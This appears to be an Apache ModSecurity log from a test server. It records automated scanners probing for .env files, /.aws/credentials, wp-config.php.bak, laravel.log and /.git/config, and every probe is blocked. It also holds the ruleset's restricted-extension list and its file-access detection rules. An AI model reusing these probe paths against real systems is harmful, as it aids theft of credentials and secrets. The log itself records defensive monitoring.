[Wed Nov 26 19:09:39.669008 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "aSdCY9g2L5I3j1bw0PolLgAAAAA"]
[Wed Nov 26 19:09:39.669235 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "aSdCY9g2L5I3j1bw0PolLgAAAAA"]
[Wed Nov 26 19:09:39.725139 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "aSdCY9g2L5I3j1bw0PolLwAAAAA"]
[Wed Nov 26 19:09:39.725402 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "aSdCY9g2L5I3j1bw0PolLwAAAAA"]
[Wed Nov 26 19:09:39.725605 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "aSdCY9g2L5I3j1bw0PolLwAAAAA"]
[Wed Nov 26 19:09:39.923395 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aSdCY9g2L5I3j1bw0PolMAAAAAA"]
[Wed Nov 26 19:09:39.923647 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aSdCY9g2L5I3j1bw0PolMAAAAAA"]
[Wed Nov 26 19:09:39.923862 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aSdCY9g2L5I3j1bw0PolMAAAAAA"]
[Wed Nov 26 19:09:40.084694 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aSdCZNg2L5I3j1bw0PolMQAAAAA"]
[Wed Nov 26 19:09:40.085019 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aSdCZNg2L5I3j1bw0PolMQAAAAA"]
[Wed Nov 26 19:09:40.085288 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aSdCZNg2L5I3j1bw0PolMQAAAAA"]
[Wed Nov 26 19:09:40.243272 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aSdCZNg2L5I3j1bw0PolMgAAAAA"]
[Wed Nov 26 19:09:40.243507 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aSdCZNg2L5I3j1bw0PolMgAAAAA"]
[Wed Nov 26 19:09:40.243714 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aSdCZNg2L5I3j1bw0PolMgAAAAA"]
[Wed Nov 26 19:09:40.647009 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aSdCZNg2L5I3j1bw0PolMwAAAAA"]
[Wed Nov 26 19:09:40.647376 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aSdCZNg2L5I3j1bw0PolMwAAAAA"]
[Wed Nov 26 19:09:40.647706 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aSdCZNg2L5I3j1bw0PolMwAAAAA"]
[Wed Nov 26 19:09:40.830808 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aSdCZNg2L5I3j1bw0PolNAAAAAA"]
[Wed Nov 26 19:09:40.831046 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aSdCZNg2L5I3j1bw0PolNAAAAAA"]
[Wed Nov 26 19:09:40.831232 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aSdCZNg2L5I3j1bw0PolNAAAAAA"]
[Wed Nov 26 19:09:42.500086 2025] [:error] [pid 332947] [client 195.178.110.110:41816] [client 195.178.110.110] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aSdCZqIAYfjGSdo5sO6DVQAAAAY"]
[Wed Nov 26 19:09:42.500208 2025] [:error] [pid 332947] [client 195.178.110.110:41816] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aSdCZqIAYfjGSdo5sO6DVQAAAAY"]
[Wed Nov 26 19:09:42.500426 2025] [:error] [pid 332947] [client 195.178.110.110:41816] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aSdCZqIAYfjGSdo5sO6DVQAAAAY"]
[Wed Nov 26 19:09:42.500654 2025] [:error] [pid 332947] [client 195.178.110.110:41816] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aSdCZqIAYfjGSdo5sO6DVQAAAAY"]
[Wed Nov 26 19:10:45.677813 2025] [:error] [pid 336731] [client 195.178.110.110:59598] [client 195.178.110.110] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aSdCpVPr-5NQFmRJopW6PQAAAAw"]
[Wed Nov 26 19:10:45.678258 2025] [:error] [pid 336731] [client 195.178.110.110:59598] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aSdCpVPr-5NQFmRJopW6PQAAAAw"]
[Wed Nov 26 19:10:45.678798 2025] [:error] [pid 336731] [client 195.178.110.110:59598] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aSdCpVPr-5NQFmRJopW6PQAAAAw"]
[Thu Nov 27 18:08:35.090319 2025] [:error] [pid 364939] [client 3.75.214.235:54730] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSiFkxr_ze0xmC_DyvfLYwAAAA0"]
[Thu Nov 27 18:08:35.090642 2025] [:error] [pid 364939] [client 3.75.214.235:54730] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSiFkxr_ze0xmC_DyvfLYwAAAA0"]
[Thu Nov 27 18:08:35.090822 2025] [:error] [pid 364939] [client 3.75.214.235:54730] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSiFkxr_ze0xmC_DyvfLYwAAAA0"]
[Thu Nov 27 18:08:35.161750 2025] [:error] [pid 353188] [client 3.75.214.235:54758] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSiFkz4fHjXDucK3GWvWvAAAAAQ"]
[Thu Nov 27 18:08:35.161972 2025] [:error] [pid 353188] [client 3.75.214.235:54758] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSiFkz4fHjXDucK3GWvWvAAAAAQ"]
[Thu Nov 27 18:08:35.162151 2025] [:error] [pid 353188] [client 3.75.214.235:54758] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSiFkz4fHjXDucK3GWvWvAAAAAQ"]
[Thu Nov 27 18:08:35.229271 2025] [:error] [pid 353186] [client 3.75.214.235:54790] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aSiFkyOJA5NFmjDGU5hISAAAAAI"]
[Thu Nov 27 18:08:35.229498 2025] [:error] [pid 353186] [client 3.75.214.235:54790] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aSiFkyOJA5NFmjDGU5hISAAAAAI"]
[Thu Nov 27 18:08:35.229702 2025] [:error] [pid 353186] [client 3.75.214.235:54790] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aSiFkyOJA5NFmjDGU5hISAAAAAI"]
[Thu Nov 27 18:08:35.299009 2025] [:error] [pid 353185] [client 3.75.214.235:54824] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aSiFk3TG8IrOxOxezX5ArAAAAAE"]
[Thu Nov 27 18:08:35.299247 2025] [:error] [pid 353185] [client 3.75.214.235:54824] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aSiFk3TG8IrOxOxezX5ArAAAAAE"]
[Thu Nov 27 18:08:35.299427 2025] [:error] [pid 353185] [client 3.75.214.235:54824] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aSiFk3TG8IrOxOxezX5ArAAAAAE"]
